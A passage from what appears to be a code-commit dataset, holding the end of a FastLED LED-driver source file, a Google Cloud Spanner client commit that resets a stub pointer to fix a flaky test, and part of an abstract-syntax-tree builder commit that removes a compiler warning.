m_nMinMicros));\n\tlastshow = micros();\n\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tuint8_t d = pCur->getDither();\n\t\tif(m_nFPS < 100) { pCur->setDither(0); }\n\t\tpCur->showColor(color, scale);\n\t\tpCur->setDither(d);\n\t\tpCur = pCur->next();\n\t}\n\tcountFPS();\n}\n\nvoid CFastLED::clear(boolean writeData) {\n\tif(writeData) {\n\t\tshowColor(CRGB(0,0,0), 0);\n\t}\n    clearData();\n}\n\nvoid CFastLED::clearData() {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->clearLedData();\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::delay(unsigned long ms) {\n\tunsigned long start = millis();\n\twhile((millis()-start) < ms) {\n#ifndef FASTLED_ACCURATE_CLOCK\n\t\t\/\/ make sure to allow at least one ms to pass to ensure the clock moves\n\t\t\/\/ forward\n\t\t::delay(1);\n#endif\n\t\tshow();\n\t}\n}\n\nvoid CFastLED::setTemperature(const struct CRGB & temp) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setTemperature(temp);\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::setCorrection(const struct CRGB & correction) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setCorrection(correction);\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::setDither(uint8_t ditherMode)  {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setDither(ditherMode);\n\t\tpCur = pCur->next();\n\t}\n}\n\n\/\/\n\/\/ template<int m, int n> void transpose8(unsigned char A[8], unsigned char B[8]) {\n\/\/ \tuint32_t x, y, t;\n\/\/\n\/\/ \t\/\/ Load the array and pack it into x and y.\n\/\/   \ty = *(unsigned int*)(A);\n\/\/ \tx = *(unsigned int*)(A+4);\n\/\/\n\/\/ \t\/\/ x = (A[0]<<24)   | (A[m]<<16)   | (A[2*m]<<8) | A[3*m];\n\/\/ \t\/\/ y = (A[4*m]<<24) | (A[5*m]<<16) | (A[6*m]<<8) | A[7*m];\n\/\/\n        \/\/ \/\/ pre-transform x\n        \/\/ t = (x ^ (x >> 7)) & 0x00AA00AA;  x = x ^ t ^ (t << 7);\n        \/\/ t = (x ^ (x >>14)) & 0x0000CCCC;  x = x ^ t ^ (t <<14);\n\t\t\t\t\/\/\n        \/\/ \/\/ pre-transform y\n        \/\/ t = (y ^ (y >> 7)) & 0x00AA00AA;  y = y ^ t ^ (t << 7);\n        \/\/ t = (y ^ (y >>14)) & 0x0000CCCC;  y = y ^ t ^ (t <<14);\n\t\t\t\t\/\/\n        \/\/ \/\/ final transform\n        \/\/ t = (x & 0xF0F0F0F0) | ((y >> 4) & 0x0F0F0F0F);\n        \/\/ y = ((x << 4) & 0xF0F0F0F0) | (y & 0x0F0F0F0F);\n        \/\/ x = t;\n\/\/\n\/\/ \tB[7*n] = y; y >>= 8;\n\/\/ \tB[6*n] = y; y >>= 8;\n\/\/ \tB[5*n] = y; y >>= 8;\n\/\/ \tB[4*n] = y;\n\/\/\n\/\/   B[3*n] = x; x >>= 8;\n\/\/ \tB[2*n] = x; x >>= 8;\n\/\/ \tB[n] = x; x >>= 8;\n\/\/ \tB[0] = x;\n\/\/ \t\/\/ B[0]=x>>24;    B[n]=x>>16;    B[2*n]=x>>8;  B[3*n]=x>>0;\n\/\/ \t\/\/ B[4*n]=y>>24;  B[5*n]=y>>16;  B[6*n]=y>>8;  B[7*n]=y>>0;\n\/\/ }\n\/\/\n\/\/ void transposeLines(Lines & out, Lines & in) {\n\/\/ \ttranspose8<1,2>(in.bytes, out.bytes);\n\/\/ \ttranspose8<1,2>(in.bytes + 8, out.bytes + 1);\n\/\/ }\n\nextern int noise_min;\nextern int noise_max;\n\nvoid CFastLED::countFPS(int nFrames) {\n  static int br = 0;\n  static uint32_t lastframe = 0; \/\/ millis();\n\n  if(br++ >= nFrames) {\n\t\tuint32_t now = millis();\n\t\tnow -= lastframe;\n\t\tm_nFPS = (br * 1000) \/ now;\n    br = 0;\n    lastframe = millis();\n  }\n}\n\nvoid CFastLED::setMaxRefreshRate(uint16_t refresh) {\n\t\tif(refresh > 0) {\n\t\t\tm_nMinMicros = 1000000 \/ refresh;\n\t\t} else {\n\t\t\tm_nMinMicros = 0;\n\t\t}\n}\n\n\n#ifdef NEED_CXX_BITS\nnamespace __cxxabiv1\n{\n\textern \"C\" void __cxa_pure_virtual (void) {}\n\t\/* guard variables *\/\n\n\t\/* The ABI requires a 64-bit type.  *\/\n\t__extension__ typedef int __guard __attribute__((mode(__DI__)));\n\n\textern \"C\" int __cxa_guard_acquire (__guard *);\n\textern \"C\" void __cxa_guard_release (__guard *);\n\textern \"C\" void __cxa_guard_abort (__guard *);\n\n\textern \"C\" int __cxa_guard_acquire (__guard *g)\n\t{\n\t\treturn !*(char *)(g);\n\t}\n\n\textern \"C\" void __cxa_guard_release (__guard *g)\n\t{\n\t\t*(char *)g = 1;\n\t}\n\n\textern \"C\" void __cxa_guard_abort (__guard *)\n\t{\n\n\t}\n}\n#endif\n\nFASTLED_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/spanner\/database_admin_client.h\"\n#include \"google\/cloud\/bigtable\/internal\/grpc_error_delegate.h\"\n#include <algorithm>\n\nnamespace google {\nnamespace cloud {\nnamespace spanner {\ninline namespace SPANNER_CLIENT_NS {\n\n\/\/ TODO(#126) - refactor to some common place. Note that this different from\n\/\/ the MakeStatusFromGrpcError function,\nnamespace {\nStatusCode MapStatusCode(std::int32_t code) {\n  if (code < 0 || code > static_cast<std::int32_t>(StatusCode::kDataLoss)) {\n    return StatusCode::kUnknown;\n  }\n  return static_cast<StatusCode>(code);\n}\n}  \/\/ namespace\n\ngoogle::cloud::Status ToGoogleCloudStatus(google::rpc::Status const& status) {\n  return google::cloud::Status(MapStatusCode(status.code()), status.message());\n}\n\nnamespace gcsa = google::spanner::admin::database::v1;\n\nDatabaseAdminClient::DatabaseAdminClient(ClientOptions const& client_options)\n    : stub_(internal::CreateDefaultDatabaseAdminStub(client_options)) {}\n\nfuture<StatusOr<gcsa::Database>> DatabaseAdminClient::CreateDatabase(\n    std::string const& project_id, std::string const& instance_id,\n    std::string const& database_id,\n    std::vector<std::string> const& extra_statements) {\n  grpc::ClientContext context;\n  gcsa::CreateDatabaseRequest request;\n  request.set_parent(\"projects\/\" + project_id + \"\/instances\/\" + instance_id);\n  request.set_create_statement(\"CREATE DATABASE `\" + database_id + \"`\");\n  for (auto const& s : extra_statements) {\n    *request.add_extra_statements() = s;\n  }\n  auto operation = stub_->CreateDatabase(context, request);\n  if (!operation) {\n    return google::cloud::make_ready_future(\n        StatusOr<gcsa::Database>(operation.status()));\n  }\n\n  \/\/ TODO(#127) - use the (implicit) completion queue to run this loop.\n  struct Polling {\n    google::cloud::promise<StatusOr<gcsa::Database>> promise;\n    google::longrunning::Operation operation;\n    std::chrono::seconds wait_time = std::chrono::seconds(2);\n  };\n  Polling polling_state;\n  polling_state.operation = *std::move(operation);\n\n  auto f = polling_state.promise.get_future();\n\n  \/\/ TODO(#128) - introduce a polling policy to control the polling loop.\n  std::thread t(\n      [](std::shared_ptr<internal::DatabaseAdminStub> const& stub,\n         Polling ps) mutable {\n        auto deadline =\n            std::chrono::system_clock::now() + std::chrono::minutes(30);\n        while (!ps.operation.done() &&\n               std::chrono::system_clock::now() < deadline) {\n          auto remaining = deadline - std::chrono::system_clock::now();\n          auto sleep = (std::min)(\n              remaining,\n              std::chrono::duration_cast<decltype(remaining)>(ps.wait_time));\n          std::this_thread::sleep_for(sleep);\n          grpc::ClientContext poll_context;\n          google::longrunning::GetOperationRequest poll_request;\n          poll_request.set_name(ps.operation.name());\n          auto update = stub->GetOperation(poll_context, poll_request);\n          if (!update) {\n            ps.promise.set_value(update.status());\n            return;\n          }\n          using std::swap;\n          swap(*update, ps.operation);\n          \/\/ Increase the wait time.\n          ps.wait_time *= 2;\n        }\n        if (ps.operation.done()) {\n          if (ps.operation.has_error()) {\n            \/\/ The long running operation failed, return the error to the\n            \/\/ caller.\n            ps.promise.set_value(ToGoogleCloudStatus(ps.operation.error()));\n            return;\n          }\n          if (!ps.operation.has_response()) {\n            ps.promise.set_value(Status(StatusCode::kUnknown,\n                                        \"CreateDatabase operation completed \"\n                                        \"without error or response, name=\" +\n                                            ps.operation.name()));\n            return;\n          }\n          google::protobuf::Any const& any = ps.operation.response();\n          if (!any.Is<gcsa::Database>()) {\n            ps.promise.set_value(Status(StatusCode::kInternal,\n                                        \"CreateDatabase operation completed \"\n                                        \"with an invalid response type, name=\" +\n                                            ps.operation.name()));\n            return;\n          }\n          gcsa::Database result;\n          any.UnpackTo(&result);\n          ps.promise.set_value(std::move(result));\n          return;\n        }\n        ps.promise.set_value(Status(StatusCode::kDeadlineExceeded,\n                                    \"Deadline exceeded in longrunning \"\n                                    \"operation for CreateDatabase, name=\" +\n                                        ps.operation.name()));\n      },\n      stub_, std::move(polling_state));\n  t.detach();\n\n  return f;\n}\n\nStatus DatabaseAdminClient::DropDatabase(std::string const& project_id,\n                                         std::string const& instance_id,\n                                         std::string const& database_id) {\n  grpc::ClientContext context;\n  google::spanner::admin::database::v1::DropDatabaseRequest request;\n  request.set_database(\"projects\/\" + project_id + \"\/instances\/\" + instance_id +\n                       \"\/databases\/\" + database_id);\n\n  return stub_->DropDatabase(context, request);\n}\n\n}  \/\/ namespace SPANNER_CLIENT_NS\n}  \/\/ namespace spanner\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<commit_msg>bug: Fix flake in DatabaseAdminClient unit test. (googleapis\/google-cloud-cpp-spanner#148)<commit_after>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/spanner\/database_admin_client.h\"\n#include \"google\/cloud\/bigtable\/internal\/grpc_error_delegate.h\"\n#include <algorithm>\n\nnamespace google {\nnamespace cloud {\nnamespace spanner {\ninline namespace SPANNER_CLIENT_NS {\n\n\/\/ TODO(#126) - refactor to some common place. Note that this different from\n\/\/ the MakeStatusFromGrpcError function,\nnamespace {\nStatusCode MapStatusCode(std::int32_t code) {\n  if (code < 0 || code > static_cast<std::int32_t>(StatusCode::kDataLoss)) {\n    return StatusCode::kUnknown;\n  }\n  return static_cast<StatusCode>(code);\n}\n}  \/\/ namespace\n\ngoogle::cloud::Status ToGoogleCloudStatus(google::rpc::Status const& status) {\n  return google::cloud::Status(MapStatusCode(status.code()), status.message());\n}\n\nnamespace gcsa = google::spanner::admin::database::v1;\n\nDatabaseAdminClient::DatabaseAdminClient(ClientOptions const& client_options)\n    : stub_(internal::CreateDefaultDatabaseAdminStub(client_options)) {}\n\nfuture<StatusOr<gcsa::Database>> DatabaseAdminClient::CreateDatabase(\n    std::string const& project_id, std::string const& instance_id,\n    std::string const& database_id,\n    std::vector<std::string> const& extra_statements) {\n  grpc::ClientContext context;\n  gcsa::CreateDatabaseRequest request;\n  request.set_parent(\"projects\/\" + project_id + \"\/instances\/\" + instance_id);\n  request.set_create_statement(\"CREATE DATABASE `\" + database_id + \"`\");\n  for (auto const& s : extra_statements) {\n    *request.add_extra_statements() = s;\n  }\n  auto operation = stub_->CreateDatabase(context, request);\n  if (!operation) {\n    return google::cloud::make_ready_future(\n        StatusOr<gcsa::Database>(operation.status()));\n  }\n\n  \/\/ TODO(#127) - use the (implicit) completion queue to run this loop.\n  struct Polling {\n    google::cloud::promise<StatusOr<gcsa::Database>> promise;\n    google::longrunning::Operation operation;\n    std::chrono::seconds wait_time = std::chrono::seconds(2);\n  };\n  Polling polling_state;\n  polling_state.operation = *std::move(operation);\n\n  auto f = polling_state.promise.get_future();\n\n  \/\/ TODO(#128) - introduce a polling policy to control the polling loop.\n  std::thread t(\n      [](std::shared_ptr<internal::DatabaseAdminStub> stub,\n         Polling ps) mutable {\n        auto deadline =\n            std::chrono::system_clock::now() + std::chrono::minutes(30);\n        while (!ps.operation.done() &&\n               std::chrono::system_clock::now() < deadline) {\n          auto remaining = deadline - std::chrono::system_clock::now();\n          auto sleep = (std::min)(\n              remaining,\n              std::chrono::duration_cast<decltype(remaining)>(ps.wait_time));\n          std::this_thread::sleep_for(sleep);\n          grpc::ClientContext poll_context;\n          google::longrunning::GetOperationRequest poll_request;\n          poll_request.set_name(ps.operation.name());\n          auto update = stub->GetOperation(poll_context, poll_request);\n          if (!update) {\n            stub.reset();\n            ps.promise.set_value(update.status());\n            return;\n          }\n          using std::swap;\n          swap(*update, ps.operation);\n          \/\/ Increase the wait time.\n          ps.wait_time *= 2;\n        }\n        if (ps.operation.done()) {\n          if (ps.operation.has_error()) {\n            \/\/ The long running operation failed, return the error to the\n            \/\/ caller.\n            stub.reset();\n            ps.promise.set_value(ToGoogleCloudStatus(ps.operation.error()));\n            return;\n          }\n          if (!ps.operation.has_response()) {\n            stub.reset();\n            ps.promise.set_value(Status(StatusCode::kUnknown,\n                                        \"CreateDatabase operation completed \"\n                                        \"without error or response, name=\" +\n                                            ps.operation.name()));\n            return;\n          }\n          google::protobuf::Any const& any = ps.operation.response();\n          if (!any.Is<gcsa::Database>()) {\n            stub.reset();\n            ps.promise.set_value(Status(StatusCode::kInternal,\n                                        \"CreateDatabase operation completed \"\n                                        \"with an invalid response type, name=\" +\n                                            ps.operation.name()));\n            return;\n          }\n          gcsa::Database result;\n          any.UnpackTo(&result);\n          stub.reset();\n          ps.promise.set_value(std::move(result));\n          return;\n        }\n        stub.reset();\n        ps.promise.set_value(Status(StatusCode::kDeadlineExceeded,\n                                    \"Deadline exceeded in longrunning \"\n                                    \"operation for CreateDatabase, name=\" +\n                                        ps.operation.name()));\n      },\n      stub_, std::move(polling_state));\n  t.detach();\n\n  return f;\n}\n\nStatus DatabaseAdminClient::DropDatabase(std::string const& project_id,\n                                         std::string const& instance_id,\n                                         std::string const& database_id) {\n  grpc::ClientContext context;\n  google::spanner::admin::database::v1::DropDatabaseRequest request;\n  request.set_database(\"projects\/\" + project_id + \"\/instances\/\" + instance_id +\n                       \"\/databases\/\" + database_id);\n\n  return stub_->DropDatabase(context, request);\n}\n\n}  \/\/ namespace SPANNER_CLIENT_NS\n}  \/\/ namespace spanner\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n                          ASTCreator.cpp\n\t      This class works as a framework for the \n\t      creation of an abstract syntax tree specific \n\t      for a grammar\n                          -------------------\n    begin                : Sun Jun 2 2002\n    copyright            : (C) 2002 by Manuel Astudillo\n\n ***************************************************************************\/\n \/***************************************************************************\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU Lesser General Public License as        *\n *   published by the Free Software Foundation; either version 2 of the    *\n *   License, or (at your option) any later version.                       *\n *                                                                         *\n ***************************************************************************\/\n\n\n #include \"ASTCreator.h\"\n\n\/\/ Include the header with YOUR AST node classes\t\n\n ASTNode *ASTCreator::createTree (const Symbol &reductionTree) {\n\t \/\/ If the tree is an empty terminal node return null\n     return getASTNode (&reductionTree, NULL);\n }\n\n ASTNode *ASTCreator::getASTNode (const Symbol *reduction, ASTNode *parent) {\n     \n\t\/*!\n\t  This method has to be customized for YOUR Abstract Grammar.\n\t  Base your Abstract Grammar in the Context Free Grammar.\n\t  Check for nodes that are equivalent in both grammars and convert\n\t  the nodes that are not equivalent.\n\t *\/\n\n   \n\t vector <ASTNode*> *children= NULL;\n\t wstring sym = reduction->symbol;\n\n\t deque <Symbol*> rdcChildren;\n\t if (reduction->type == NON_TERMINAL) {\n\t\trdcChildren = ((NonTerminal*) reduction)->children;\n\t } \n\n\t \/*\n\t  Next is a colection of if statements that checks for the\n\t  equivalency between nodes in the reduction tree and in the\n\t  desired Abstract Syntax Tree.\n\n\t  Note as we always pass the latest node as the parent for the children.\n\t  Having the parent is often usefull when doing the type analysis or\n\t  interpreting the AST.\n\t *\/\n\n\t \/*\n\t\/\/ (Example of a simple rule) Check for Start node\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Original Rule:\n\t<Start> ::= begin <ConstList> defs <DefsList> prog <StatementList> end\n\n\t\/\/ Translated to:\n\t<Start> ::= <ConstList> <DefsList> <StatementList>\n\n\t if ( sym == L\"Start\" ) {\n\t\tStart *start = new Start ();\n        start->init (reduction, parent);\n\n\t\tstart->addChild (getASTNode(rdcChildren[1], start));\n\t\tstart->addChild (getASTNode(rdcChildren[3], start));\n\t\tstart->addChild (getASTNode(rdcChildren[5], start));\n\t\treturn start;\n\t }\n\n\t \/\/ (Example of a List)\n\t \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Original Rule: \n\t<StatementList> ::= <Statement> ';' <StatementList> \n                    |\n\t\/\/ Translated to:\n\t<StatementList> ::= <Statement>*\n\n\t if (sym == L\"StatementList\") {\n\t\tStatementList *statementList = new StatementList ();\n        statementList->init (reduction, parent);\n\t\t\n\t\tif (rdcChildren.size() == 3) {\n\t\t\tstatementList->addChild (getASTNode (rdcChildren[0], stmtList));\n\t\t\t\n\t\t\tchildren = stmtList->getChildren();\n\t\t\tgetASTNodeList (children, rdcChildren[2]->reduction, 1, 3, stmtList); \n\t\t}\n\t\n\t\treturn stmtList;\n\t }\n*\/\n\t \/*\n        If the symbol constants are included it is possible to do it in the possible way: \n\n\n            \/\/ <If Statement> ::= if <Expression> then <StatementList> end\n            if (sym == RULE_IF_THEN_END_STATEMENT) {\n                IfStatement *ifStatement = new IfStatement ();\n                ifStatement->init (reduction, parent);\n                    \n                ifStmt->addChild (getASTNode(rdcChildren[1], ifStmt));\n                ifStmt->addChild (getASTNode(rdcChildren[3], ifStmt));\n\t\n                return ifStmt;\n            }\n\n            \/\/ <If Statement> ::= if <Expression> then <StatementList> else <StatementList> end\n            if ( sym == RULE_IF_THEN_END_ELSE_STATEMENT) {\n                IfStatement *ifStatement = new IfStatement ();\n                ifStatement->init (reduction, parent);\n\n                ifStmt->addChild (getASTNode(rdcChildren[1], ifStmt));\n                ifStmt->addChild (getASTNode(rdcChildren[3], ifStmt));\n\t            ifStmt->addChild (getASTNode(rdcChildren[5], ifStmt));\n                return ifStmt;\n            }\n           \n\n     *\/\n\n\t return searchEquivNode( rdcChildren, parent);\n }\n\n\/*!\n If the node has not an equivalent in the Abstract Tree we just search\n for more equivalent nodes in their children. If none found return NULL.\n*\/\n ASTNode *ASTCreator::searchEquivNode (const deque <Symbol*> &rdcChildren,\n\t\t\t\t\t\t\t\t\t   ASTNode *parent) {\n \t ASTNode *result = NULL;\n\t for (unsigned short i=0; i < rdcChildren.size(); i ++) {\n\t\t if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t\tresult = getASTNode(rdcChildren[i], parent);\n\t\t\tif (result != NULL) {\n\t\t\t\tbreak;\n\t\t\t}\t\n\t\t }\n\t }  \n\t return result;\n }\n\n\n\/*!\n\t This method is usefull to create nodes in the tree for rules that\n\t have the following structure:\n\t NonTerminal1 ::= NonTerminalA NonTerminalB ... NonTerminal1\n\t\n\t (Note that left NonTerminal and the last non-terminal in the rule are the same)\n\t \/param children vector where the children will be added\n\t \/param reduction reduction tree where the list resides\n\t \/param nbrInsert specifies the number of children to insert in the vector. \n\t  Begining from the left of the rule.\n\t \/param nbrElements specifies the number of element in the \"iterative\" production.\n\t \/param parent Parent node, where the list will be hanging.\n *\/\n\n void ASTCreator::getASTNodeList (vector <ASTNode*> *children, \n    NonTerminal *reduction, int nbrInsert, int nbrElements, ASTNode *parent) {\n\t    integer i;\n\t    ASTNode *ast;\n\t    deque <Symbol*> rdcChildren = reduction->children;\n\t\n\t    int size = rdcChildren.size();\n\n\t    if (size > 0) {\n\t\t    if (size < nbrElements) {\n\t\t\t    for (i=0; i < rdcChildren.size(); i++) {\n\t\t\t\t    if (i < nbrInsert) {\n\t\t\t\t\t    \/\/ if we have a rule that produces a\n\t\t\t\t\t    \/\/ terminal symbol, we only get the node for this reduction\n\t\t\t\t\t    if (rdcChildren[i]->type == TERMINAL) {\n\t\t\t\t\t\t    ast = getASTNode (reduction, parent);\n\t\t\t\t\t    } else {\n\t\t\t\t\t\t    ast = getASTNode (rdcChildren[i], parent);\n\t\t\t\t\t    }\n\t\t\t\t\t    \/\/ Do not insert NULL childs\n\t\t\t\t\t    if (ast!=NULL) {\n\t\t\t\t\t\t    children->push_back(ast);\n\t\t\t\t\t    }\n\t\t\t\t    }\n\t\t\t    }\n\t\t    } else {\n\t\t\t\n            for (i=0; i < rdcChildren.size()-1; i++) {\n\t\t\t\tif (i < nbrInsert) {\n                    ast = getASTNode (rdcChildren[i], parent);\n\t                if (ast!=NULL) {\n\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n            if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t \t    getASTNodeList (children, (NonTerminal*) rdcChildren[i],\n\t\t \t    nbrInsert, nbrElements, parent);\n            }\n\t\t}\n\t}\n}\t\t\t\t\t\t\t\t\t   \n\t\t\t\t\t\t\t\t\t   \n \/*!\n\t This method is usefull to create nodes in the tree for rules that\n\t have the following structure:\n\t NonTerminal1 ::= NonTerminalA NonTerminalB ... NonTerminal1\n\t\n\t (Note that left NonTerminal and the last non-terminal in the rule are the same)\n\t \/param children vector where the children will be added\n\t \/param iterNode name of the Iterative node\n\t \/param reduction reduction tree where the list resides\n\t \/param nbrInsert specifies the number of children to insert in the vector. \n\t  Begining from the left of the rule.\n\t \/param nbrElements specifies the number of element in the \"iterative\" production.\n\t \/param parent Parent node, where the list will be hanging.\n *\/\n void ASTCreator::getASTNodeList (vector <ASTNode*> *children, wstring iterNode,\n\t              NonTerminal *reduction, int nbrInsert, int nbrElements, ASTNode *parent) {\n\tinteger i;\n\tASTNode *ast;\n\n\twstring sym = reduction->symbol;\n\n\tdeque <Symbol*> rdcChildren = reduction->children;\n\tif (sym == iterNode) {\n\t\tint size = rdcChildren.size();\n\t\tif (size > 0) {\n\t\t\tif (size < nbrElements) {\n\t\t\t\tfor (i=0; i < rdcChildren.size(); i++) {\n\t\t\t\t\tif (i < nbrInsert) {\n\t\t\t\t\t\t\/\/ if we have a rule that produces a\n\t\t\t\t\t\t\/\/ terminal symbol, we only get the node for this reduction\n\t\t\t\t\t\tif (rdcChildren[i]->type == TERMINAL) {\n\t\t\t\t\t\t\tast = getASTNode (reduction,parent);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tast = getASTNode (rdcChildren[i],parent);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/ Do not insert NULL childs\n\t\t\t\t\t\tif (ast!=NULL) {\n\t\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor (i=0; i < rdcChildren.size()-1; i++) {\n\t\t\t\t\tif (i < nbrInsert) {\n\t\t\t\t\t\t\/\/ Do not insert NULL childs\n                        if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t\t\t\t\t    ast = getASTNode (rdcChildren[i], parent);\n                        } else {\n                            ast = NULL;\n                        }\n\n                        if (ast!=NULL) {\n\t\t\t\t\t\t\tchildren->push_back(ast);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n                if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t   \t\t    getASTNodeList (children, iterNode, (NonTerminal*) rdcChildren[i],\n                                    nbrInsert, nbrElements, parent);\n                }\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\t\/\/ If this is not the iterNode then we just push this node as a child.\n\t\tast = getASTNode (reduction, parent);\n\t\tchildren->push_back(ast);\n\t}\n}\n \n<commit_msg>Removed a warning.<commit_after>\/***************************************************************************\n                          ASTCreator.cpp\n\t      This class works as a framework for the \n\t      creation of an abstract syntax tree specific \n\t      for a grammar\n                          -------------------\n    begin                : Sun Jun 2 2002\n    copyright            : (C) 2002 by Manuel Astudillo\n\n ***************************************************************************\/\n \/***************************************************************************\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU Lesser General Public License as        *\n *   published by the Free Software Foundation; either version 2 of the    *\n *   License, or (at your option) any later version.                       *\n *                                                                         *\n ***************************************************************************\/\n\n\n #include \"ASTCreator.h\"\n\n\/\/ Include the header with YOUR AST node classes\t\n\n ASTNode *ASTCreator::createTree (const Symbol &reductionTree) {\n\t \/\/ If the tree is an empty terminal node return null\n     return getASTNode (&reductionTree, NULL);\n }\n\n ASTNode *ASTCreator::getASTNode (const Symbol *reduction, ASTNode *parent) {\n     \n\t\/*!\n\t  This method has to be customized for YOUR Abstract Grammar.\n\t  Base your Abstract Grammar in the Context Free Grammar.\n\t  Check for nodes that are equivalent in both grammars and convert\n\t  the nodes that are not equivalent.\n\t *\/\n\n   \n\t \/\/vector <ASTNode*> *children= NULL;\n\t wstring sym = reduction->symbol;\n\n\t deque <Symbol*> rdcChildren;\n\t if (reduction->type == NON_TERMINAL) {\n\t\trdcChildren = ((NonTerminal*) reduction)->children;\n\t } \n\n\t \/*\n\t  Next is a colection of if statements that checks for the\n\t  equivalency between nodes in the reduction tree and in the\n\t  desired Abstract Syntax Tree.\n\n\t  Note as we always pass the latest node as the parent for the children.\n\t  Having the parent is often usefull when doing the type analysis or\n\t  interpreting the AST.\n\t *\/\n\n\t \/*\n\t\/\/ (Example of a simple rule) Check for Start node\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Original Rule:\n\t<Start> ::= begin <ConstList> defs <DefsList> prog <StatementList> end\n\n\t\/\/ Translated to:\n\t<Start> ::= <ConstList> <DefsList> <StatementList>\n\n\t if ( sym == L\"Start\" ) {\n\t\tStart *start = new Start ();\n        start->init (reduction, parent);\n\n\t\tstart->addChild (getASTNode(rdcChildren[1], start));\n\t\tstart->addChild (getASTNode(rdcChildren[3], start));\n\t\tstart->addChild (getASTNode(rdcChildren[5], start));\n\t\treturn start;\n\t }\n\n\t \/\/ (Example of a List)\n\t \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Original Rule: \n\t<StatementList> ::= <Statement> ';' <StatementList> \n                    |\n\t\/\/ Translated to:\n\t<StatementList> ::= <Statement>*\n\n\t if (sym == L\"StatementList\") {\n\t\tStatementList *statementList = new StatementList ();\n        statementList->init (reduction, parent);\n\t\t\n\t\tif (rdcChildren.size() == 3) {\n\t\t\tstatementList->addChild (getASTNode (rdcChildren[0], stmtList));\n\t\t\t\n\t\t\tchildren = stmtList->getChildren();\n\t\t\tgetASTNodeList (children, rdcChildren[2]->reduction, 1, 3, stmtList); \n\t\t}\n\t\n\t\treturn stmtList;\n\t }\n*\/\n\t \/*\n        If the symbol constants are included it is possible to do it in the possible way: \n\n\n            \/\/ <If Statement> ::= if <Expression> then <StatementList> end\n            if (sym == RULE_IF_THEN_END_STATEMENT) {\n                IfStatement *ifStatement = new IfStatement ();\n                ifStatement->init (reduction, parent);\n                    \n                ifStmt->addChild (getASTNode(rdcChildren[1], ifStmt));\n                ifStmt->addChild (getASTNode(rdcChildren[3], ifStmt));\n\t\n                return ifStmt;\n            }\n\n            \/\/ <If Statement> ::= if <Expression> then <StatementList> else <StatementList> end\n            if ( sym == RULE_IF_THEN_END_ELSE_STATEMENT) {\n                IfStatement *ifStatement = new IfStatement ();\n                ifStatement->init (reduction, parent);\n\n                ifStmt->addChild (getASTNode(rdcChildren[1], ifStmt));\n                ifStmt->addChild (getASTNode(rdcChildren[3], ifStmt));\n\t            ifStmt->addChild (getASTNode(rdcChildren[5], ifStmt));\n                return ifStmt;\n            }\n           \n\n     *\/\n\n\t return searchEquivNode( rdcChildren, parent);\n }\n\n\/*!\n If the node has not an equivalent in the Abstract Tree we just search\n for more equivalent nodes in their children. If none found return NULL.\n*\/\n ASTNode *ASTCreator::searchEquivNode (const deque <Symbol*> &rdcChildren,\n\t\t\t\t\t\t\t\t\t   ASTNode *parent) {\n \t ASTNode *result = NULL;\n\t for (unsigned short i=0; i < rdcChildren.size(); i ++) {\n\t\t if (rdcChildren[i]->type == NON_TERMINAL) {\n\t\t\tresult = 